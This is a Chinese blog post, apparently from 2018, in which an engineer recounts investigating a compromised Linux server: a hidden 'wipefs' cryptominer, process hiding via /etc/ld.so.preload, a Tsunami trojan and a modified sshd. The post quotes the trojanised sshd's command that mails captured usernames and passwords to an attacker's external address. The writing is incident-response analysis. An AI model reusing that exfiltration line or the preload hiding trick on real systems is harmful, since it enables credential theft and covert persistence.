美文网首页程序员
与入侵者的斗争

与入侵者的斗争

作者: 老吕子 | 来源:发表于2018-10-21 22:53 被阅读13次

刚入职新公司,听同事说过公司有服务器中过挖矿病毒,当时没有特别在意

文中出现的xxx 和 yyy 都是在打赛克

1. 初次接触

日期:x月15日

早上收到服务器报警,提示/etc/passwd文件被修改。

登录服务器出现host key被修改提示;
检查服务器上last和history 记录被清空;
/var/log/secure被清空;
/var/log/messages被清空;
.ssh/authorized_keys 被新增未知 pub key。

基于以上判断:服务器被入侵了。

采取措施:

  • 修改了涉及所有服务器的密码
  • 清除了ssh pub key
  • 检查异常进程(未发现)
  • 检查定时任务(未发现)

2. 发现cpu利用率高

日期:x月20日

发现多个服务器cpu usr利用率 长期90%以上。

  • 检查进程,却未发现占用cpu高的进程;
  • 检查网络连接,发现一个异常连接,但是没有对应pid ;
ESTAB      0      0      10.3.x.x:48002              1xx.2xx.1xx.1xx:443 
  • 怀疑是中了挖矿病毒程序,并隐藏了进程;
  • 从正常服务器上复制 ps netstat等命令文件到此服务器上,执行后仍无法查看到进程;
  • 发现服务器文件/etc/ld.so.preload,该文件加载了某个异常的so文件,会导致服务器命令(ps\netstat\top )无法查看到挖矿进程,删除该文件;
  • 重新查看进程,发现挖矿进程为 ‘wipefs’、手动kill掉该进程,cpu利用率恢复
 ps -ef |grep wipefs
root      7025     1 99 Xxx 15 ?        19-10:42:00 /usr/lib64/-l/.db/wipefs --library-path /usr/lib64/-l/.db /usr/lib64/-l/.db/x

3. 获取密码

日期:x+1月7日

又发现服务器运行了挖矿程序wipefs

  • 检查服务器日志发现相关信息再次被清除
  • 从一个被遗漏的messages日志中,发现其控制了某个测试服务器作为跳板
  • 日志文件中记录登录方式是密码,一次性成功(好奇怪啊,没有暴力破解)
  • 考虑到事情比较严重,部署了安全监测脚本
  • 从扫描的结果来看
usr/lib/httpds: Win.Trojan.Tsunami-5 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 6677493
Engine version: 0.100.1
Scanned directories: 11867
Scanned files: 95647
Infected files: 1
Data scanned: 7709.03 MB
Data read: 34049.43 MB (ratio 0.23:1)
Time: 3318.450 sec (55 m 18 s)
---------------------- Start Rootkit Hunter Scan ----------------------
Warning: Package manager verification has failed:
        File: /usr/sbin/sshd
        The file hash value has changed
        The file size has changed
        The file modification time has changed
Warning: Package manager verification has failed:
        File: /usr/bin/ssh
        The file hash value has changed
        The file size has changed
        The file modification time has changed
  1. 中了木马病毒,同时发现对应cron job和进程
  2. ssh和sshd都被修改
  • 进一步分析sshd的行为:strace -p <sshd pid >,然后测试使用用户名和密码登录
# 发现其有调用mail 发送邮件
echo pass_from: 10.3.x.x user:  xxx pass: yyyy |mail -s "Salut sefu, am moutati" linuxxxxx@protonmail.com

这就找到了为什么密码没有暴力破解就被获取到了(此前一度怀疑公司有内鬼,当然现在也没排除这个可能)

那么protonmail.com邮箱到底是怎么样的邮箱系统呢?
从官方介绍来看,摘取如下两点:
ProtonMail is incorporated in Switzerland and all our servers are located in Switzerland. This means all user data is protected by strict Swiss privacy laws.
No personal information is required to create your secure email account. By default, we do not keep any IP logs which can be linked to your anonymous email account. Your privacy comes first.
基本上可以认定为入侵者的必备邮件系统,网上也可查询到有的勒索病毒也使用此邮箱。

参考文档
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://paper.seebug.org/629/

相关文章

  • 与入侵者的斗争

    刚入职新公司,听同事说过公司有服务器中过挖矿病毒,当时没有特别在意 1. 初次接触 日期:x月15日 早上收到服务...

  • 北疆行知录——白哈巴逃票历险记

    打死我也没有想到,这是一次让人记忆深刻的逃票历险记。这体现了哈萨克族人民的智慧和勇气,在与当地外来入侵者之间的斗争...

  • 《理想与历程》摘录(5)

    科学与宗教的斗争,一直是一种特殊的斗争……斗争是神学与科学之间的斗争,而不是与科学之间的斗争。 科学...

  • 简丹:真正的创业从正循环开始!

    创业绝对是一场修行,在这场修行中,与惰性作斗争,与拖延作斗争,与舒适作斗争,与自己设置的一切障碍作斗争,让自...

  • linux终端上的游戏

    空间入侵者

  • 晨思录(119)

    最近我总想“斗争”两个字。 斗争,过去是指阶级的斗争。如今,对外应该是与颠覆我们国家的∝的斗争,在内应该是与腐败分...

  • 斗争何时休

    斗争惯穿着人的生活,斗争惯穿着人生。人要生存在世界上,就离不开斗争。 人与自然的斗争,人与人的斗争,人与社会的斗争...

  • 2020-12-17

    人一生要进行两个思想斗争,一是与自我进行思想斗争,一是与外界进行思想斗争,斗争的目的不是为了斗争,而是为了达成共识...

  • 斗智斗勇斗法斗技

    敢于斗争,善于斗争,斗什么,斗智斗另斗法斗技。其实,跳出斗争看斗争,不能为斗而斗,要看斗争在全局中的摆位与作用。 ...

  • 与蚊子的斗争

    立秋之后,蚊子出奇得多,尤其是那种带着白点的黑蚊子,车里,房间内,办公室无处不在,甚至走在路上,隔着衣服...

网友评论

    本文标题:与入侵者的斗争

    本文链接:https://www.haomeiwen.com/subject/ljyizftx.html